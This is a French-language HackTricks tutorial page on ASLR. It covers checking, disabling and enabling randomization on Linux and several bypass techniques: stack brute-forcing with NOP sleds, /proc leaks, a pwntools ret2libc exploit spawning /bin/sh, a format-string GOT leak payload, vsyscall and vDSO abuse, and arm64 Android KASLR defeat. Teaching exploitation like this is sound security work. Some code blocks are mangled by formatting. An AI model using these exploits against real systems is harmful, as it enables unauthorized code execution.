ASLR

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Address Space Layout Randomization (ASLR) est une technique de sécurité utilisée dans les systèmes d’exploitation pour randomiser les adresses mémoire utilisées par les processus système et applicatifs. Ce faisant, elle rend beaucoup plus difficile pour un attaquant de prédire l’emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, réduisant ainsi certaines catégories d’exploits, en particulier buffer overflows.

Vérifier l’état d’ASLR

Pour vérifier l’état d’ASLR sur un système Linux, vous pouvez lire la valeur depuis le fichier /proc/sys/kernel/randomize_va_space. La valeur stockée dans ce fichier détermine le type d’ASLR appliqué :

  • 0: Pas de randomisation. Tout est statique.
  • 1: Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées.
  • 2: Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée via brk() est randomisée.

Vous pouvez vérifier l’état d’ASLR avec la commande suivante:

cat /proc/sys/kernel/randomize_va_space

Désactivation d’ASLR

Pour désactiver ASLR, réglez la valeur de /proc/sys/kernel/randomize_va_space sur 0. La désactivation d’ASLR n’est généralement pas recommandée en dehors des scénarios de test ou de débogage. Voici comment le désactiver :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Vous pouvez également désactiver l’ASLR pour une exécution avec :

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Activation de l’ASLR

Pour activer l’ASLR, vous pouvez écrire la valeur 2 dans le fichier /proc/sys/kernel/randomize_va_space. Cela nécessite généralement les privilèges root. L’activation d’une randomisation complète peut être effectuée avec la commande suivante :

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistance entre les redémarrages

Les changements effectués avec les commandes echo sont temporaires et seront réinitialisés au redémarrage. Pour rendre la modification persistante, vous devez éditer le fichier /etc/sysctl.conf et ajouter ou modifier la ligne suivante :

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Après avoir modifié /etc/sysctl.conf, appliquez les changements avec :

sudo sysctl -p

This will ensure that your ASLR settings remain across reboots.

Contournements

32bit brute-forcing

PaX divise l’espace d’adressage du processus en 3 groupes :

  • Code et données (initialisées et non initialisées) : .text, .data, et .bss —> 16 bits d’entropie dans la variable delta_exec. Cette variable est initialisée aléatoirement à chaque processus et ajoutée aux adresses initiales.
  • Mémoire allouée par mmap() et bibliothèques partagées —> 16 bits, appelée delta_mmap.
  • The stack —> 24 bits, référée comme delta_stack. Cependant, elle utilise effectivement 11 bits (du 10ème au 20ème octet inclus), alignés sur 16 bytes —> Cela donne 524,288 adresses réelles possibles de stack.

Les données ci‑dessus concernent les systèmes 32-bit et l’entropie finale réduite permet de contourner ASLR en relançant l’exécution encore et encore jusqu’à ce que l’exploit réussisse.

Idées de brute-force :

  • Si vous avez un overflow suffisamment grand pour contenir un grand NOP sled avant le shellcode, vous pouvez tout simplement brute-force les adresses du stack jusqu’à ce que le flux passe au-dessus d’une partie du NOP sled.
  • Une autre option, si l’overflow n’est pas si grand et que l’exploit peut être exécuté localement, est d’ajouter le NOP sled et le shellcode dans une variable d’environnement.
  • Si l’exploit est local, vous pouvez tenter de brute-force l’adresse de base de libc (utile pour les systèmes 32bit) :
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si vous attaquez un serveur distant, vous pouvez essayer de brute-force l’adresse de la fonction libc usleep, en passant 10 comme argument (par exemple). Si, à un moment donné, le serveur met 10s de plus à répondre, vous avez trouvé l’adresse de cette fonction.

Tip

Sur les systèmes 64bit l’entropie est beaucoup plus élevée et cela ne devrait pas être possible.

Brute-forcing de la pile 64 bits

Il est possible d’occuper une grande partie de la pile avec des variables d’environnement puis d’essayer d’abuser du binaire des centaines/milliers de fois en local pour l’exploiter.
Le code suivant montre comment il est possible de simplement sélectionner une adresse dans la pile et qu’au bout de quelques centaines d’exécutions cette adresse contiendra l’instruction NOP :

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Détection NOP sur la stack par brute-force (Python) ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Informations locales (`/proc/[pid]/stat`)

Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tous et il **contient des informations intéressantes** telles que :

- **startcode** & **endcode** : Adresses situées au-dessus et au-dessous du **TEXT** du binaire
- **startstack** : L'adresse du début de la **stack**
- **start_data** & **end_data** : Adresses situées au-dessus et au-dessous de l'endroit où se trouve la **BSS**
- **kstkesp** & **kstkeip** : Adresses actuelles de **ESP** et **EIP**
- **arg_start** & **arg_end** : Adresses situées au-dessus et au-dessous de l'endroit où se trouvent les **cli arguments**.
- **env_start** &**env_end** : Adresses situées au-dessus et au-dessous de l'endroit où se trouvent les **env variables**.

Par conséquent, si l'attaquant se trouve sur le même ordinateur que le binaire exploité et que ce binaire n'attend pas l'overflow depuis des raw arguments mais depuis une **input that can be crafted after reading this file**. Il est possible pour un attaquant d'**get some addresses from this file and construct offsets from them for the exploit**.

> [!TIP]
> Pour plus d'informations sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat`

### Avoir un leak

- **Le challenge consiste à fournir un leak**

Si on vous donne un leak (easy CTF challenges), vous pouvez calculer des offsets à partir de celui-ci (en supposant par exemple que vous connaissez la version exacte de libc utilisée sur le système que vous exploitez). Cet exemple d'exploit est extrait de [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consultez cette page pour plus de détails) :

<details>
<summary>Exploit Python avec un leak libc donné</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

En abusant d’un buffer overflow, il est possible d’exploiter un ret2plt pour exfiltrer l’adresse d’une fonction de la libc. Consultez :

Ret2plt

  • Format Strings Arbitrary Read

Tout comme avec ret2plt, si vous disposez d’un arbitrary read via une format strings vulnerability, il est possible d’exfiltrer l’adresse d’une libc function depuis la GOT. L’exemple suivant example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Vous pouvez trouver plus d’informations sur la lecture arbitraire avec Format Strings dans :

Format Strings

Ret2ret & Ret2pop

Essayez de contourner ASLR en abusant des adresses situées dans la stack :

Ret2ret & Reo2pop

vsyscall

Le mécanisme vsyscall sert à améliorer les performances en permettant à certains system calls d’être exécutés en espace utilisateur, bien qu’ils fassent fondamentalement partie du kernel. L’avantage critique des vsyscalls réside dans leurs adresses fixes, qui ne sont pas soumises à ASLR (Address Space Layout Randomization). Cette nature fixe signifie que les attaquants n’ont pas besoin d’une vulnérabilité d’information leak pour déterminer leurs adresses et les utiliser dans un exploit.
Cependant, aucun gadget vraiment intéressant ne sera trouvé ici (bien que, par exemple, il soit possible d’obtenir l’équivalent d’un ret;)

(L’exemple et le code suivants sont tirés de ce writeup)

Par exemple, un attaquant pourrait utiliser l’adresse 0xffffffffff600800 dans un exploit. Tenter de sauter directement vers une instruction ret peut provoquer de l’instabilité ou des plantages après l’exécution de quelques gadgets, tandis que sauter au début d’un syscall fourni par la section vsyscall peut réussir. En plaçant soigneusement un gadget ROP qui redirige l’exécution vers cette adresse vsyscall, un attaquant peut obtenir l’exécution de code sans avoir besoin de contourner ASLR pour cette partie de l’exploit.

Exemple vmmap/vsyscall et recherche de gadgets ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

Note therefore how it might be possible to bypass ASLR abusing the vdso if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won’t be randomized. For more info check:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

Sur de nombreux noyaux arm64 Android la base du kernel linear map (direct map) est fixe entre les démarrages. Les Kernel VAs pour les pages physiques deviennent prévisibles, brisant KASLR pour les cibles accessibles via le direct map.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (symbole exporté)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms pour trouver memstart_addr
  • Lire 8 octets à cette adresse (LE) en utilisant n’importe quel kernel read (par ex., tracing-BPF helper appelant BPF_FUNC_probe_read_kernel)
  • Calculer les direct-map VAs : virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • Pas besoin d’un KASLR leak séparé si la cible est dans/accessible via le direct map (par ex., page tables, kernel objects sur des pages physiques que vous pouvez influencer/observer).
  • Simplifie l’obtention d’un R/W arbitraire fiable et le ciblage des données kernel sur arm64 Android.

Reproduction summary

  1. grep memstart /proc/kallsyms -> address of memstart_addr
  2. Kernel read -> decode 8 bytes LE -> PHYS_OFFSET
  3. Use virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) with PAGE_OFFSET=0xffffff8000000000

Note

L’accès aux tracing-BPF helpers requiert des privilèges suffisants ; toute kernel read primitive ou info leak suffit pour obtenir PHYS_OFFSET.

How it’s fixed

  • L’espace VA kernel limité plus CONFIG_MEMORY_HOTPLUG réserve des VA pour les futurs hotplug, poussant le linear map vers la VA la plus basse (base fixe).
  • Upstream arm64 removed linear-map randomization (commit 1db780bafa4c).

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks